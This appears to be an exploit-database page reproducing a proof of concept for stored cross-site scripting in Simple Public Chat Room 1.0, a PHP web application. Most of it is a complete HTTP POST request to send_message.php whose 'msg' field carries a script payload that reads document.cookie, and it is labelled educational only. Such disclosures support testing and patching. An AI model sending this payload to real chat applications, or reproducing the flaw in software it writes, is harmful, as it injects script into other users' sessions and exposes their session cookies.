Simple public chat room 1.0 msg stored crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-29 | Type : webapps | Platform : php
This exploit / vulnerability Simple public chat room 1.0 msg stored crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Simple Public Chat Room 1.0 - 'msg' Stored Cross-Site Scripting
# Exploit Author: Richard Jones
# Date: 2021-01-26
# Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Replicates across chat sessions..


POST /chat/send_message.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 58
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl

msg=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&id=1